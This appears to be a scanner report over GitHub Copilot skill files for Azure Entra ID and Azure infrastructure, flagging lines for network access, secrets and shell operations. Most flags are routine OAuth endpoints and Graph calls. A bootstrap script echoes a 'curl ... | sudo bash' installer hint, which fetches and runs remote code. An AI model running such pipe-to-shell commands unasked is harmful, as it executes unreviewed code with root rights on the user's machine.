  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 21
    requests.patch(
  • Network accessline 33
    fic_body = {     "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 34
    "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",     "subject": mi_principal_id,   # The MI's object ID (principalId), NOT client ID
  • Network accessline 35
    "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 37
    "audiences": ["api://AzureADTokenExchange"], } requests.post(
  • Network accessline 38
    } requests.post(     f"{GRAPH}/applications/{blueprint_obj_id}"
  • Network accessline 39
    requests.post(
  • Network accessline 62
    jwks_client = PyJWKClient(     f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 63
    f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 70
    algorithms=["RS256"],     audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 71
    audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/", )
  • Network accessline 72
    issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 79
    - **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 80
    - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d
  • Network accessline 81
    - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 82
    - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash).
  • Network accessline 100
    $credential = Invoke-MgGraphRequest -Method POST `     -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 101
    -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 111
    resp = requests.post(

harness/github-copilot/skills/azure-entra-agent-id/references/obo-blueprint-setup.md

  • Network accessline 39
    }, } requests.patch(
  • Network accessline 40
    } requests.patch(     f"{GRAPH}/applications/{blueprint_obj_id}",
  • Network accessline 41
    requests.patch(
  • Network accessline 63
    requests.post(
  • Network accessline 82
    tenant_id=tenant_id,     client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400",
  • Network accessline 83
    client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400", )
  • Network accessline 84
    redirect_uri="http://localhost:8400",
  • Network accessline 89
    > If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.

harness/github-copilot/skills/azure-entra-agent-id/references/runtime-token-exchange.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 8
    Step 1: Blueprint credentials + fmi_path  →  Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 9
    Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 19
    TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 34
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 35
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 36
    req = urllib.request.Request(
  • Network accessline 38
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 39
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())["access_token"]
  • Network accessline 40
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 47
    |-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Network accessline 48
    | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID |
  • Network accessline 49
    | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 86
    "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",         "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 87
    "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 88
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 89
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 90
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 91
    req = urllib.request.Request(
  • Network accessline 93
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 94
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 95
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 115
    "assertion": user_token,         "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 116
    "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 117
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 118
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 119
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 120
    req = urllib.request.Request(
  • Network accessline 122
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 123
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 124
    with urllib.request.urlopen(req, timeout=10) as resp:

harness/github-copilot/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md

  • Network accessline 13
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 16
    def get_agent_token(downstream_api: str = "Graph") -> str:     url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 17
    url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)     resp.raise_for_status()
  • Network accessline 18
    resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 33
    url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}"     resp = requests.get(         url,
  • Network accessline 34
    resp = requests.get(
  • Network accessline 46
    const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000";
  • Network accessline 56
    const res = await fetch(url.toString());
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    resp = requests.get(
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 85
    resp = requests.get(
  • Network accessline 105
    - "5001:5000"     environment:       - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 106
    environment:       - AzureAd__Instance=https://login.microsoftonline.com/       - AzureAd__TenantId=${TENANT_ID}
  • Network accessline 107
    - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 110
    - AzureAd__ClientCredentials__0__SourceType=ClientSecret       - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET}       - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 113
    - DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default
  • Network accessline 115
    - ASPNETCORE_URLS=http://+:5000
  • Network accessline 120
    - "3000:3000"     environment:       - SIDECAR_URL=http://sidecar:5000
  • Network accessline 121
    environment:       - SIDECAR_URL=http://sidecar:5000       - AGENT_CLIENT_ID=${AGENT_CLIENT_ID}
  • Network accessline 122
    - SIDECAR_URL=http://sidecar:5000
  • Network accessline 147
    env:         - name: SIDECAR_URL           value: "http://localhost:5000"
  • Network accessline 148
    - name: SIDECAR_URL           value: "http://localhost:5000"       - name: sidecar
  • Network accessline 149
    value: "http://localhost:5000"
  • Network accessline 166
    value: "SignedAssertionFilePath"         - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"
  • Network accessline 167
    - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"         resources:
  • Network accessline 168
    value: "http://127.0.0.1:5000"         resources:           requests: { memory: "128Mi", cpu: "100m" }
  • Network accessline 184
    1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`

harness/github-copilot/skills/azure-entra-agent-id/references/sdk-sidecar.md

  • Network accessline 5
    Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags.
  • Network accessline 48
    env: - name: AzureAd__Instance   value: "https://login.microsoftonline.com/"
  • Network accessline 49
    - name: AzureAd__Instance   value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId
  • Network accessline 50
    value: "https://login.microsoftonline.com/"
  • Network accessline 82
    - name: DownstreamApis__Graph__BaseUrl   value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 83
    value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 84
    - name: DownstreamApis__Graph__Scopes__0   value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken
  • Network accessline 85
    value: "https://graph.microsoft.com/.default"
  • Network accessline 117
    | Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 118
    |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 119
    | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 120
    | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 121
    | Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration |
  • Network accessline 122
    | Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints |
  • Network accessline 123
    | Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities |
  • Network accessline 124
    | Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security |
  • Network accessline 125
    | OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |

harness/github-copilot/skills/azure-entra-app-registration/SKILL.md

  • Network accessline 67
    - **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 68
    - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow
  • Network accessline 69
    - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 199
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
  • Network accessline 200
    - [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols)
  • Network accessline 201
    - [MSAL Documentation](https://learn.microsoft.com/entra/msal/)
  • Network accessline 202
    - [Microsoft Graph API](https://learn.microsoft.com/graph/)

harness/github-copilot/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep

  • Network accessline 18
    @description('Redirect URIs for web application') param webRedirectUris array = [   'https://localhost:5001/signin-oidc'
  • Network accessline 19
    param webRedirectUris array = [   'https://localhost:5001/signin-oidc'   'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 20
    'https://localhost:5001/signin-oidc'
  • Network accessline 21
    'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 24
    @description('Redirect URIs for single-page application') param spaRedirectUris array = [   'http://localhost:3000'
  • Network accessline 25
    param spaRedirectUris array = [   'http://localhost:3000'   'https://myapp.azurewebsites.net'
  • Network accessline 26
    'http://localhost:3000'
  • Network accessline 27
    'https://myapp.azurewebsites.net'
  • Network accessline 53
    enableAccessTokenIssuance: false     }     homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 54
    }     homePageUrl: 'https://myapp.azurewebsites.net'     logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 55
    homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 56
    logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 65
    publicClient: {     redirectUris: [       'http://localhost'
  • Network accessline 66
    redirectUris: [       'http://localhost'       'myapp://auth'
  • Network accessline 67
    'http://localhost'
  • Network accessline 68
    'myapp://auth'       'https://login.microsoftonline.com/common/oauth2/nativeclient'     ]
  • Network accessline 69
    'https://login.microsoftonline.com/common/oauth2/nativeclient'
  • Network accessline 175
    // Information URLs   info: {     marketingUrl: 'https://myapp.example.com'
  • Network accessline 176
    info: {     marketingUrl: 'https://myapp.example.com'     privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 177
    marketingUrl: 'https://myapp.example.com'
  • Network accessline 178
    privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 179
    supportUrl: 'https://myapp.example.com/support'
  • Network accessline 180
    termsOfServiceUrl: 'https://myapp.example.com/terms'

harness/github-copilot/skills/azure-entra-app-registration/references/api-permissions.md

  • Network accessline 49
    Examples: https://graph.microsoft.com/User.Read
  • Network accessline 50
    https://graph.microsoft.com/User.Read
  • Network accessline 51
    https://graph.microsoft.com/Mail.Send
  • Network accessline 60
    https://graph.microsoft.com/.default
  • Network accessline 134
    1. Visit https://developer.microsoft.com/graph/graph-explorer
  • Network accessline 140
    Visit: https://learn.microsoft.com/en-us/graph/permissions-reference
  • Network accessline 258
    [Credential-related source omitted]
  • Network accessline 259
    [Credential-related source omitted]
  • Network accessline 334
    **Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values.
  • Network accessline 338
    - [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference)
  • Network accessline 339
    - [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview)
  • Network accessline 340
    - [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow)
  • Network accessline 341
    - [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)

harness/github-copilot/skills/azure-entra-app-registration/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-entra-app-registration/references/cli-commands.md

  • Network accessline 29
    az ad app create \   --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 30
    --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 31
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 37
    az ad app create \   --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 38
    --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 39
    --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 45
    az ad app create \   --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \
  • Network accessline 46
    --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 47
    --public-client-redirect-uris "http://localhost" \
  • Network accessline 53
    az ad app create \   --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 54
    --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMultipleOrgs"
  • Network accessline 55
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 116
    az ad app update --id $APP_ID \   --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 117
    --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 122
    az ad app update --id $APP_ID \   --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 123
    --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 128
    az ad app update --id $APP_ID \   --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 129
    --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 364
    # Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000"
  • Network accessline 366
    REDIRECT_URI="http://localhost:3000"

harness/github-copilot/skills/azure-entra-app-registration/references/console-app-example.md

  • Network accessline 44
    .Create(ClientId)                     .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")
  • Network accessline 45
    .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")                     .Build();
  • Network accessline 46
    .WithRedirectUri("http://localhost")
  • Network accessline 87
    var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me");
  • Network accessline 139
    CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Network accessline 140
    TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"]
  • Network accessline 141
    AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 197
    response = requests.get(
  • Network accessline 198
    'https://graph.microsoft.com/v1.0/me',
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 268
    auth: {         clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 269
    clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",     }
  • Network accessline 270
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 280
    const authCodeUrlParameters = {         scopes: scopes,         redirectUri: "http://localhost:3000",
  • Network accessline 281
    scopes: scopes,         redirectUri: "http://localhost:3000",     };
  • Network accessline 282
    redirectUri: "http://localhost:3000",
  • Network accessline 308
    auth: {             clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 309
    clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",             clientSecret: "YOUR_CLIENT_SECRET", // From app registration
  • Network accessline 310
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 317
    const clientCredentialRequest = {         scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 318
    scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 333
    try {         const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 334
    const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 392
    - [MSAL Libraries](https://learn.microsoft.com/entra/msal/)

harness/github-copilot/skills/azure-entra-app-registration/references/first-app-registration.md

  • Network accessline 16
    - Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com
  • Network accessline 17
    - Azure Portal access: https://portal.azure.com
  • Network accessline 22
    1. Open [Azure Portal](https://portal.azure.com)
  • Network accessline 58
    **URI examples:** - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 59
    - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 60
    - SPA: `http://localhost:3000`
  • Network accessline 61
    - Console/Desktop: `http://localhost`
  • Network accessline 63
    **For your first app:** Select **"Public client/native"** and enter `http://localhost`
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 187
    # Interactive login az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 188
    az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 190
    # Get an access token az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 191
    az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 213
    **Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims.
  • Network accessline 251
    - [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)

harness/github-copilot/skills/azure-entra-app-registration/references/oauth-flows.md

  • Network accessline 26
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 50
    https://your-app.com/callback?
  • Network accessline 62
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 87
    GET https://graph.microsoft.com/v1.0/me
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 126
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 139
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 177
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 180
    client_id={application_id} &scope=https://graph.microsoft.com/.default
  • Network accessline 181
    &scope=https://graph.microsoft.com/.default
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 186
    **Parameters:** - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Network accessline 187
    - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`   - For your API: `api://{api_app_id}/.default`
  • Network accessline 188
    - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 203
    GET https://graph.microsoft.com/v1.0/users
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 228
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  • Network accessline 238
    "user_code": "GTHK-QPMN",   "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 239
    "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",   "expires_in": 900,
  • Network accessline 240
    "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 241
    "expires_in": 900,   "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 242
    "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." }
  • Network accessline 243
    "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 250
    To sign in, open https://microsoft.com/devicelogin
  • Network accessline 257
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 278
    [Credential-related source omitted]
  • Network accessline 299
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Network accessline 335
    {   "aud": "https://graph.microsoft.com",
  • Network accessline 336
    "aud": "https://graph.microsoft.com",
  • Network accessline 337
    "iss": "https://sts.windows.net/{tenant}/",
  • Network accessline 374
    https://graph.microsoft.com/User.Read
  • Network accessline 375
    https://graph.microsoft.com/Mail.Send
  • Network accessline 398
    [OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)

harness/github-copilot/skills/azure-entra-app-registration/references/troubleshooting.md

  • Network accessline 20
    AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request
  • Network accessline 30
    Registered: https://myapp.com/callback
  • Network accessline 31
    Request:    https://myapp.com/callback/  ❌ (trailing slash)
  • Network accessline 32
    Request:    https://MyApp.com/callback   ❌ (case difference)
  • Network accessline 33
    Request:    https://myapp.com/callback   ✅
  • Network accessline 39
    # CLI:    az ad app update --id $APP_ID \      --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 40
    az ad app update --id $APP_ID       --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 41
    --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 177
    Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to
  • Network accessline 183
    **Tool:** https://jwt.ms
  • Network accessline 268
    - [Microsoft Q&A](https://learn.microsoft.com/answers/)
  • Network accessline 269
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)

harness/github-copilot/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/github-copilot/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md

  • Network accessline 180
    - **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 181
    - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 182
